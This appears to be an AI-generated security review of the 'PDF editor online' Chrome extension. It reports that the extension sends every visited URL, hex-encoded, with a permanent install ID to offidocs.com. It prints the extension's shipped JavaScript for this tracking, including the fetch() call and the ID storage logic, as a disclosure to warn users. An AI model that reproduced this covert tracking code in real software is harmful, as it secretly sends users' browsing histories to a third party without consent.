Is PDF editor online safe?
PDF editor online is high risk. Every page you visit has its full URL, hex-encoded, plus a persistent per-install ID sent to offidocs.com. Six requests captured across five sites (google, amazon, facebook, wikipedia, reddit); offidocs.com itself excluded.…
Who publishes itofficeonlinesystems - 26 other listings from the same operator, 17 of them carrying a finding
officeonlinesystems - 26 other listings from the same operator, 17 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
19 other listings published from this account, 1.5M+ users between them. 14 of them carry a finding.
Same operator - 7 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Browsing History Transmitted to offidocs.com on Every Page Visit
Every page you visit has its full URL, hex-encoded, plus a persistent per-install ID sent to offidocs.com.
Six requests captured across five sites (google, amazon, facebook, wikipedia, reddit); offidocs.com itself excluded.
You navigate to any webpage, any site, any time.
Only offidocs.com pages are excluded. Every other HTTP/HTTPS URL triggers tracking.
The extension immediately sends the full page URL and your persistent tracking ID to offidocs.com.
No user action in the PDF editor is required. The transmission happens automatically in the background.
| Field | Value | Why it matters | |
|---|---|---|---|
The URL you are visiting | https://www.google.com/ → 68747470733a2f2f7777772e676f6f676c652e636f6d2f | The exact address of the page you opened, hex-encoded on the wire. The server decodes it and knows precisely which pages you visit. | |
Your persistent tracking ID | jlccki5gto | A 10-char ID made once at install, stored permanently; every request carries it, letting offidocs.com build a history tied to your install. | |
Your browser tab ID | 1247 | Chrome's internal tab number for the tab you are browsing in. Sent as the 'hex' query parameter. |
The code that sends your URL on every navigation, from the extension's shipped source:
// Runs on every tab switch (onActivated) and every page load (onUpdated).
function getTabInfo(tabId) {
chrome.tabs.get(tabId, function(tab) {
// Skip offidocs.com pages and non-http URLs only.
if (!tab.url.includes('offidocs') && tab.url.startsWith('http') && tab.url !== lastUrl) {
lastUrl = tab.url;
// Send this URL to offidocs.com immediately, in the background.
sendUrlToOffidocs(tab.url, tabId);
}
});
}
async function sendUrlToOffidocs(url, tabId) {
const username = await getOrCreateTrackingId; // from chrome.storage.local
// Hex-encode the full URL and POST it along with the tracking ID.
await fetch(
'https://www.offidocs.com/media/system/app/checkdownloadpdfeditory_2_nav.php'
+ '?filepath=' + bin2hex(url) // full URL as hex string
+ '&hex=' + tabId // Chrome tab ID
+ '&u=' + username // persistent tracking ID
);
}- www.offidocs.com
Receives every visited URL, hex-encoded, along with the persistent tracking ID. Also serves the extension's PDF editor interface. Operator of the offidocs.com service.
Permanent Tracking ID Generated and Stored on Install
On install, the extension makes a 10-char random ID under 'offidocs_key'.
It never expires and isn't tied to an account.
We confirmed 'jlccki5gto' matching 'u=' in all seven requests; background script and popup share it.
The extension initializes for the first time after install.
A permanent 10-character tracking identifier is generated and saved to your browser's local storage.
Every subsequent request to offidocs.com carries this identifier, linking all your activity to the same browser install across sessions.
'username' is your permanent tracking ID, sent as 'u=' to offidocs.com. 'offidocscloud' controls background tracking; default '1' (on).
chrome.storage.local key 'offidocs_key'{
"username": "jlccki5gto",
"offidocscloud": "1"
}ID generation and storage, from the extension's shipped source:
// On every navigation (and every popup open), the extension reads its stored ID.
// If no ID exists yet (first run), it generates one and saves it permanently.
async function getOrCreateTrackingId {
const stored = await chrome.storage.local.get(['offidocs_key']);
let record = stored['offidocs_key'] || { username: null, offidocscloud: null };
if (!record.username) {
// Generate a 10-character random ID from A-Za-z0-9, lowercased.
record.username = randomString(10).toLowerCase;
}
if (!record.offidocscloud) {
// Default tracking to ON without asking the user.
record.offidocscloud = '1';
}
// Persist. No expiry date. Survives browser restarts.
await chrome.storage.local.set({ offidocs_key: record });
return record.username;
}What it can do
Permissions this extension asks for, as declared in version 2.14.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs